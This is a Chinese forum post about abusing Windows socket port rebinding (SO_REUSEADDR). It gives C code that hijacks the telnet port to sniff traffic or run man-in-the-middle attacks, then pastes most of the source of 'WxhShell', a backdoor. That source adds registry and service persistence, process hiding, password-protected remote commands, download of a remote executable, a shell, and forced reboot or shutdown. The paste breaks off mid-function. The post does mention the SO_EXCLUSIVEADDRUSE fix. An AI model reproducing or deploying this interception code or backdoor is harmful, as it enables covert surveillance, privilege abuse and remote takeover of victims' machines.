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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZVIBmx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B{1+0k  
a9jY^E'|n  
  saddr.sin_family = AF_INET; F<-Pbtw  
 |Be.r{l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cB<0~&  
{Y'_QW1:2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1<5 9)RiO>  
Cv$TNkP*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N{p2@_fnB  
A7b7IM[  
  这意味着什么?意味着可以进行如下的攻击: _9 Gy`  
l]v *h0!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2,QkktJLo  
,CM$A}7[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MB"?^~Sm  
BTd'bD~EA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cF vGpZ  
eIqj7UY_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \v-> '  
u5CT7_#)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ugdm"  
%W&=]&L  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *iC t4J  
-ZyFUGd%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7L-%5:1%  
G0]n4"~+?  
  #include Z(}x7jzW  
  #include giu~"#0/F  
  #include iPFYG  
  #include    >$Fc=~;Ba  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v"F0$c  
  int main() '}rDmt~  
  { ,-b{oS~u  
  WORD wVersionRequested; KT g$^"\  
  DWORD ret; MZd\.]G@  
  WSADATA wsaData; %MjPQ  
  BOOL val; $&e(V6A@  
  SOCKADDR_IN saddr; }zobIfIF  
  SOCKADDR_IN scaddr; Zi[)(agAT  
  int err; >6kWmXK[  
  SOCKET s; S|>Up%{n[  
  SOCKET sc; rL,)Tc|"  
  int caddsize; _$bx4a  
  HANDLE mt; Kq S2  
  DWORD tid;   zEhy0LLm  
  wVersionRequested = MAKEWORD( 2, 2 ); TAAsV#l  
  err = WSAStartup( wVersionRequested, &wsaData ); ./fEx 'E  
  if ( err != 0 ) { "=".ne  
  printf("error!WSAStartup failed!\n"); "FXS;Jf  
  return -1; H]!y |p  
  } xLD6A5n,[  
  saddr.sin_family = AF_INET; %&] }P;&  
   :>;ps R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 KqSa"76R  
3=<iGX"z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LNN:GD)>  
  saddr.sin_port = htons(23); c df ll+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )R +o8C  
  { <eh(~  
  printf("error!socket failed!\n"); u:S@'z>  
  return -1; dH/t|.%  
  } NSgHO`gU8  
  val = TRUE; w7Pe< vT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =Hx~]1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n% ` r  
  { 5"gRz9Ta`  
  printf("error!setsockopt failed!\n"); H4m6H)KOG  
  return -1; #PrV)en  
  } y[zA [H:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R|CY4G j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #pe{:f?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9V],X=y~  
)]%9Tgn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,SyUr/D  
  { L@z !,r,  
  ret=GetLastError(); }]~}DHYr  
  printf("error!bind failed!\n"); 1SFKP$^  
  return -1; Hr+-ndH!Pq  
  } bg,}J/  
  listen(s,2); O|>1~^w  
  while(1)  (v`;ym  
  { zkp Apj].  
  caddsize = sizeof(scaddr); =_'cG:=)  
  //接受连接请求 ~^^ey17   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F3Y>hs):7  
  if(sc!=INVALID_SOCKET) }K>H S\e  
  { [)3 U])w/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); } x.)gW  
  if(mt==NULL) y^AA#kk  
  {  4 Z}bw#  
  printf("Thread Creat Failed!\n"); s3M84wz  
  break; )zXyV]xe  
  } A&P1M6Of  
  } <!9fJFE  
  CloseHandle(mt); ;1.>"zX(  
  } O^}v/}d  
  closesocket(s); &#@>(u: .  
  WSACleanup(); ]|N4 #4  
  return 0; B"PHJj  
  }   Z) Xs;7  
  DWORD WINAPI ClientThread(LPVOID lpParam) }%YHm9)  
  { Uk:.2%S2  
  SOCKET ss = (SOCKET)lpParam; :Nz?<3R0\  
  SOCKET sc; (L5'rNk  
  unsigned char buf[4096]; xD  
  SOCKADDR_IN saddr; O4/n!HOb  
  long num; ,Us2UEWNv  
  DWORD val; |2@en=EYk  
  DWORD ret; 0sd-s~;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _?s %MNaX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sJb)HQ,7x  
  saddr.sin_family = AF_INET; 8},<e>q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )E:,V~< 8  
  saddr.sin_port = htons(23); 5Vi]~dZu7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y5/6nvH_6  
  { .H^P2tp  
  printf("error!socket failed!\n"); g6g$nY@Jm  
  return -1; nnE_OK!}T  
  } M{xVkXc>  
  val = 100; v (ka,Dk3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Yu^H*b  
  { :B=8_M  
  ret = GetLastError(); CofH}-  
  return -1; VkpHzr[k  
  } ]iDJ*!I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  gt_X AH  
  { <'[Ku;m  
  ret = GetLastError(); &|N%#pYS  
  return -1; :,kU#eZ$-  
  } j`R<90~/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7':f_]  
  { <jUrE[x  
  printf("error!socket connect failed!\n"); nG"n-$A?<  
  closesocket(sc); L}W1*L$;<  
  closesocket(ss); YZGS-+  
  return -1; \&iil =H8!  
  } 4TUtY:  
  while(1) Ad;S=h8:  
  { JoCA{Fa}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d=XpO*v,[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )C {h1 `  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ivzAlwP  
  num = recv(ss,buf,4096,0); yGvDn' m  
  if(num>0) hCM8/Vvx6  
  send(sc,buf,num,0); jJ a V  
  else if(num==0) xQJIM.  
  break; 0e+W/Tq  
  num = recv(sc,buf,4096,0); qL| 5-(P  
  if(num>0) JI"/N`-?;b  
  send(ss,buf,num,0); ~uI**{  
  else if(num==0) TZ_rsj/t  
  break; #JA}LA"l  
  } zF5q=9 4$  
  closesocket(ss); [ -ISR7D  
  closesocket(sc); )O3jQ_q=  
  return 0 ; lC#RNjDp/~  
  } u7;`4P:o@  
74K)aA  
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========================================================== A&?}w_|9  
Ly9Q}dL  
下边附上一个代码,,WXhSHELL X Orcygb2  
XGfzEld2"  
========================================================== 9ilM@SR  
n]+.  
#include "stdafx.h" (I4y[jnD  
L=,OZ9aA  
#include <stdio.h> rA,CQypo  
#include <string.h> bV@7mmz:X+  
#include <windows.h> D(Qa>B"1  
#include <winsock2.h> HZ }6Q  
#include <winsvc.h> 2H[ ; v+  
#include <urlmon.h> v ~"Ef_`  
{XtoiI  
#pragma comment (lib, "Ws2_32.lib") 1otspOy  
#pragma comment (lib, "urlmon.lib") @,k7xm$u  
d.`&0  
#define MAX_USER   100 // 最大客户端连接数 K;x~&G0=  
#define BUF_SOCK   200 // sock buffer xf/m!b"p  
#define KEY_BUFF   255 // 输入 buffer u_.HPA  
i\Yl  
#define REBOOT     0   // 重启 B7 HQR{t  
#define SHUTDOWN   1   // 关机 I"1CgKYK^+  
-Q$b7*"z(  
#define DEF_PORT   5000 // 监听端口 p1D()-  
(/K5!qh  
#define REG_LEN     16   // 注册表键长度 y"vX~LR  
#define SVC_LEN     80   // NT服务名长度 H`-=?t  
OV[`|<C '  
// 从dll定义API QH~Jy*\+PX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XJSa]P^B1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'T7x@a`b)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d+6]u_J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BwxnDeG)  
Jx$iwu  
// wxhshell配置信息 JrDHRIkgm  
struct WSCFG { ,r=re!QI7  
  int ws_port;         // 监听端口 LkBZlh_  
  char ws_passstr[REG_LEN]; // 口令 &>(gt<C$  
  int ws_autoins;       // 安装标记, 1=yes 0=no =i>\2J%'R  
  char ws_regname[REG_LEN]; // 注册表键名 Ma6W@S  
  char ws_svcname[REG_LEN]; // 服务名 ;W{b $k@g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !>n|c$=;qk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #Qh>z%Mn^3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 & Kmy}q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,Ff n)+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tnb$sulc+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UTCzHh1  
8>NwCjN  
}; m`6VKp{YD  
|QMA@Mx  
// default Wxhshell configuration .Evy_o\^  
struct WSCFG wscfg={DEF_PORT, pu4,0bw  
    "xuhuanlingzhe", JA^v  
    1,  c%f_.MiU  
    "Wxhshell", ``|AgIg  
    "Wxhshell", %=Tr^{ i  
            "WxhShell Service", >xg5z  
    "Wrsky Windows CmdShell Service", @dgH50o[  
    "Please Input Your Password: ", mR+Jws'  
  1, v`DI<Lt  
  "http://www.wrsky.com/wxhshell.exe", :243H  
  "Wxhshell.exe" `rb>K  
    }; )TJS4?  
vl:J40Kfn  
// 消息定义模块 )oU)}asY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OP! R[27>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PaO- J&<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^6;V}2>v}  
char *msg_ws_ext="\n\rExit."; qOy=O [+9  
char *msg_ws_end="\n\rQuit."; B_^]C9C|  
char *msg_ws_boot="\n\rReboot..."; edvFQ#,d  
char *msg_ws_poff="\n\rShutdown..."; +dW|^I{H}  
char *msg_ws_down="\n\rSave to "; PmX2[7  
1|| +6bRP  
char *msg_ws_err="\n\rErr!"; +K~NV?c  
char *msg_ws_ok="\n\rOK!"; "Fnq>iR-  
^G1%6\We  
char ExeFile[MAX_PATH]; 6'C2SihYp  
int nUser = 0; K@u&(}  
HANDLE handles[MAX_USER]; y\c"b-lQX  
int OsIsNt; `BY&>WY[  
#8h ;Bj  
SERVICE_STATUS       serviceStatus; V416g |lBO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?GT@puJS-  
kkCZNQ~I  
// 函数声明 1X1 N tS @  
int Install(void); {b)~V3rsY  
int Uninstall(void); qu|i;WZE  
int DownloadFile(char *sURL, SOCKET wsh); /JJw 6[ N  
int Boot(int flag); JXqr3 Np1  
void HideProc(void); &1|?BZv  
int GetOsVer(void); zaimGMJ ,  
int Wxhshell(SOCKET wsl); (bp9Pjw  
void TalkWithClient(void *cs); }8K4-[\  
int CmdShell(SOCKET sock); +A8j@d#:  
int StartFromService(void); s5&@Cxzl  
int StartWxhshell(LPSTR lpCmdLine); jXg  
Nw_@A8-r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  .) tSg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YB(Gk;]  
XGrue6 ya  
// 数据结构和表定义 *Zk>2<^R  
SERVICE_TABLE_ENTRY DispatchTable[] = 9xI GV!  
{ dl-l"9~;  
{wscfg.ws_svcname, NTServiceMain}, ,:Z^$  
{NULL, NULL} <O<LYN+(  
}; YwEpy(}hJm  
-Z-f1.Dm5  
// 自我安装 (N-RIk73/O  
int Install(void) A7_4 .VH  
{ kRJ4-n^@><  
  char svExeFile[MAX_PATH]; C4$:mJ>y  
  HKEY key; YY((#"o;l  
  strcpy(svExeFile,ExeFile); jKIxdY:U  
op2Of<{h  
// 如果是win9x系统,修改注册表设为自启动 OR1DYHHT/1  
if(!OsIsNt) { Uu s.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z;tI D~Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "I6P=]|b  
  RegCloseKey(key); 1$/MrPT(b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d[^KL;b?6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B(g_Gm<  
  RegCloseKey(key); yOU(2"8p  
  return 0; K7knK  
    } 'NjzgZ~]P  
  } pIV-kI:w  
} a]17qMl  
else { >eQr<-8  
`_I@i]i^  
// 如果是NT以上系统,安装为系统服务 !3n)|~r;K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e~%  ;K4  
if (schSCManager!=0) +Mewo  
{ rEhX/(n#  
  SC_HANDLE schService = CreateService {'sY|lou  
  ( =uk0@hy9b  
  schSCManager, ( 9!k#  
  wscfg.ws_svcname, G'2#9<c*  
  wscfg.ws_svcdisp, K;?,FlH  
  SERVICE_ALL_ACCESS, `+'rib5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q\Q{sv_  
  SERVICE_AUTO_START, RpWTpT1  
  SERVICE_ERROR_NORMAL, l& 4,v  
  svExeFile, Ars687WB  
  NULL, ]wT 7*( Y  
  NULL, oVA?J%EK  
  NULL, ORGD  
  NULL, AqK z$  
  NULL MObt,[^W  
  ); #/"8F O%~p  
  if (schService!=0) O ,rwP  
  { ZUz ^!d  
  CloseServiceHandle(schService); 5$DHn ]  
  CloseServiceHandle(schSCManager); E J$36  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #_lt~^ 6  
  strcat(svExeFile,wscfg.ws_svcname); p.ANVA@:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UNijFGi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5>3}_  
  RegCloseKey(key); ;Op3?_  
  return 0; U4m9e|/H;z  
    } /V3=KY`_J  
  } `U+l?S^$  
  CloseServiceHandle(schSCManager); /? r?it  
} A(?\>X 9g  
} ;^*Unyt[4]  
F'g Vzf  
return 1; I1[g&9,  
} 4}_O`Uxh  
VrZ>bma;  
// 自我卸载 rl9. ]~  
int Uninstall(void) kb[P\cRa  
{ fLV"T_rk  
  HKEY key; >=]'hyn]]  
T+N|R  
if(!OsIsNt) {  O+%WR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (`SRJ$~f  
  RegDeleteValue(key,wscfg.ws_regname); .(pN5JI*  
  RegCloseKey(key); 763+uFx^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [tMZ G%h  
  RegDeleteValue(key,wscfg.ws_regname); 3 ?Y|  
  RegCloseKey(key); IbcZ@'RSw  
  return 0; Pnd `=%w%]  
  } nW;g28  
} }g$(+1g  
} ix#epuN  
else { Wrrcx(  
?<G]&EK~~]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2e$w?W0^  
if (schSCManager!=0) Lm@vXgMD  
{ -s6![eV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DGevE~  
  if (schService!=0) 3!5Ur&  
  { rP!#RzL  
  if(DeleteService(schService)!=0) { Oy 2+b1{  
  CloseServiceHandle(schService); BTM), w2  
  CloseServiceHandle(schSCManager); bzdb|I6Z  
  return 0; 9;?UvOI;  
  } }K8/-d6  
  CloseServiceHandle(schService); _|"Y]:j_  
  }  JHf  
  CloseServiceHandle(schSCManager); ID.n1i3  
} +za8=`2o  
} :VF<9@t  
"R8KQj  
return 1; w '3#&k+  
} xoOJauSX1  
/m!Cc/Hv  
// 从指定url下载文件 ;Ag 3c+  
int DownloadFile(char *sURL, SOCKET wsh) tgjr&G}a@0  
{ F @Te@n  
  HRESULT hr; "zIFxDR#  
char seps[]= "/"; [o*7FEM|<  
char *token; p-+K4  
char *file; \^#~@9  
char myURL[MAX_PATH];  :ujCr.  
char myFILE[MAX_PATH]; &YDK (&>  
#z1H8CFL"  
strcpy(myURL,sURL); U35AX9/  
  token=strtok(myURL,seps); `GXkF:f=  
  while(token!=NULL) m^x6>9,  
  { ={hX}"*D  
    file=token; /O ]t R  
  token=strtok(NULL,seps); %r4 q8-  
  } @-OnHE  
pHoEa7:  
GetCurrentDirectory(MAX_PATH,myFILE); ~q&pF"va8  
strcat(myFILE, "\\"); WW~+?g5  
strcat(myFILE, file); ^( Rvk  
  send(wsh,myFILE,strlen(myFILE),0); 'Wa,OFd\8  
send(wsh,"...",3,0); b,KcBQ.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m!U9m  
  if(hr==S_OK) jNeI2-9c}  
return 0; "(qw-kil  
else uIU5.\"s  
return 1; xnE|Umz  
gNGr!3*)w  
} GUQ{r!S  
sZ?mP;Q  
// 系统电源模块 "`asF g  
int Boot(int flag) Mkq( T[)  
{ l|5fE1K9U  
  HANDLE hToken; hR5_+cuIp  
  TOKEN_PRIVILEGES tkp; 5JhdV nT_  
.CSS}4  
  if(OsIsNt) { /pp1~r.s?>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LSQz"Ll l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'EFyIVezg9  
    tkp.PrivilegeCount = 1; xJ2*LM-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xooY' El*#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P9T5L<5  
if(flag==REBOOT) { aTBR|U S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Su 5>$  
  return 0; fqu}Le  
} {D g_?._d  
else { MQ)L:R` L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  s}onsC  
  return 0; TE )gVE]  
} ={?v Ab:  
  } 9C t`  
  else { qaim6a  
if(flag==REBOOT) { fm~kM J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ej7 /X ~  
  return 0; nADX0KI  
} lO:. OZu  
else { _ pO`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kM`l  
  return 0; #P#-xz  
} 7w;O}axI  
} ASPy  
tRpEF2  
return 1; %P;Q|v6/|  
}  fI\9\x  
1c+]gIe  
// win9x进程隐藏模块 A8A ~!2V  
void HideProc(void) L !4t[hhe=  
{ fJZp?e"  
ceGa([#!\_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *)]"27^  
  if ( hKernel != NULL ) D|qk_2R%  
  { 1{_A:<VBl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,&U4a1%i#c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `MP|Ovns:H  
    FreeLibrary(hKernel); kX:tc   
  } sS TPMh  
Nx#4W1B[`H  
return; _if|TFw;h  
} j'i0*"x  
>\ST-7[^L  
// 获取操作系统版本 l8K5k:XCU3  
int GetOsVer(void) JN6-Z2  
{ A|}l)!%  
  OSVERSIONINFO winfo; G1 o70  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YGc^h(d  
  GetVersionEx(&winfo); &/.hx(#d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \RQ='/H*  
  return 1; iA_8(Yo  
  else >Q,zNs  
  return 0; 9]$8MY   
} <*H^(0  
ZWV|# c<G  
// 客户端句柄模块 U-wLt(Y<  
int Wxhshell(SOCKET wsl) ^5=UK7e5KY  
{ N^VD=<#T  
  SOCKET wsh; Q-rL$%~='  
  struct sockaddr_in client; HEqWoV]{d  
  DWORD myID; PZ8U6K'  
Bqws!RM'&@  
  while(nUser<MAX_USER) m xw dugr`  
{ +)nT|w45  
  int nSize=sizeof(client); Q Z8QQ`*S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y?[snrK G  
  if(wsh==INVALID_SOCKET) return 1; uQLlA&I"  
Ja]o GT=e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XC15K@K  
if(handles[nUser]==0) T)7TyE|"2g  
  closesocket(wsh); P,gdnV ^  
else .DJDpP)M  
  nUser++; o?Sla_D   
  } TY;U2.Ud  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u"$a>S_  
[_y@M ]  
  return 0; 47 u@4"M  
} LU!1s@  
zvv:dC/p<  
// 关闭 socket BH0!6Oq  
void CloseIt(SOCKET wsh) ]8U ~Iy  
{ rqCa 2  
closesocket(wsh); 4lc)&  
nUser--; 'Tb0-1S?  
ExitThread(0); MBk"KF  
} w'Z!;4E0  
|U[y_Y\a  
// 客户端请求句柄 Pn TZ/|  
void TalkWithClient(void *cs) a ib}`l  
{ DOD6Liau{Q  
%/0gWG  
  SOCKET wsh=(SOCKET)cs; 5{ >0eFzG  
  char pwd[SVC_LEN]; Z$K+ 7>^  
  char cmd[KEY_BUFF]; g"t^r3  
char chr[1]; [h}K$q  
int i,j; zjbE 7^ N  
.+#Lx;})  
  while (nUser < MAX_USER) { eFQQW`J  
y[HQBv  
if(wscfg.ws_passstr) { 4E"d/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f==*"?6\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +!&$SNLh(  
  //ZeroMemory(pwd,KEY_BUFF); m% bE-#  
      i=0; |paP<$  
  while(i<SVC_LEN) { O4+F^+qN  
./maY1>T  
  // 设置超时 qMgfMhQ7DU  
  fd_set FdRead; 6c\DJD  
  struct timeval TimeOut; D?u`  
  FD_ZERO(&FdRead); EnscDtf(  
  FD_SET(wsh,&FdRead); nlfPg-78B+  
  TimeOut.tv_sec=8; CV^0.  
  TimeOut.tv_usec=0; }z'DWp=uN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .:0M+Jr"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eOrYa3hQ  
IhW7^(p\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZH-5 Qy_  
  pwd=chr[0]; .)ST[G]WK  
  if(chr[0]==0xd || chr[0]==0xa) { &tBA^igXK  
  pwd=0; @%B4;c  
  break; R#0{Wg0O)  
  } VN|G5*  
  i++; k}B DA|\s  
    } B T7Id  
7zI5PGWw  
  // 如果是非法用户,关闭 socket UvD-C?u'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;:_(7|  
} 2Guvze_bU  
uYTCdZQh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i`~~+6`J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eUs-5 L  
4$i}Xk#3  
while(1) { oWD)+5. ]  
t&f" jPu>  
  ZeroMemory(cmd,KEY_BUFF); *:#Z+7x ]  
FQ##397  
      // 自动支持客户端 telnet标准   Doj(.wm~  
  j=0; #11RLvDQd  
  while(j<KEY_BUFF) { IozNjII$:.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?360SQ<  
  cmd[j]=chr[0]; 86{ZFtv  
  if(chr[0]==0xa || chr[0]==0xd) { Oo/8Y E @  
  cmd[j]=0; RO$*G jQd  
  break; &E]"c]i+  
  } 82 .HH5Z{  
  j++; 0x4l5x$8  
    } bZXlJa`'S  
=SL^>HS.fo  
  // 下载文件 9@etg4#]  
  if(strstr(cmd,"http://")) { }+JLn%H)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :3gFHBFDj  
  if(DownloadFile(cmd,wsh)) `OLB';D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rT<1S?jR  
  else pLJeajv)z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^@N`e1  
  } "Y(%oJS]D  
  else { [[$Mh_MD  
mVHFT~x7}  
    switch(cmd[0]) { oo'iwq-\  
  :^.u-bHI  
  // 帮助 c*jr5 Y  
  case '?': { Ss+F9J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZgK@Fl*k  
    break; ?9qAe  
  } .:SfM r;G  
  // 安装 >["Kd.ye  
  case 'i': { G*=H;Upi  
    if(Install()) Mi;Tn;3er  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y "<JE<X  
    else Yr:>icz|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 5a@)>h  
    break; 8db6(Q~P  
    } 7V |"~%  
  // 卸载 83X/"2-K  
  case 'r': { cUYX1a)8  
    if(Uninstall()) : qr} M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k:W=5{[  
    else 2pw>B%1WP)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )~G8 LZ  
    break; A03I-^0g+  
    } 5'),)  
  // 显示 wxhshell 所在路径 mJ/^BT]  
  case 'p': {  -\5[Nq{N  
    char svExeFile[MAX_PATH]; 8 `yB  
    strcpy(svExeFile,"\n\r"); ;A`IYRzt  
      strcat(svExeFile,ExeFile); z)r8?9u  
        send(wsh,svExeFile,strlen(svExeFile),0); 5BZ+b_A>VV  
    break; T$f:[ye]Z  
    } wbo{JQ  
  // 重启 O#A8t<f|M  
  case 'b': { -<H ri5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]Pz|Oi+]  
    if(Boot(REBOOT)) wrhBH;3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5^bh.uF  
    else { |)~Ex 9%ev  
    closesocket(wsh); oA5<[&~<  
    ExitThread(0); JvT %R`i  
    } `4se7{'UK`  
    break; V}j %gy`  
    } U;^CU!a  
  // 关机 {(8U8f<'=y  
  case 'd': { R994R@gz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I3V{"Nx6  
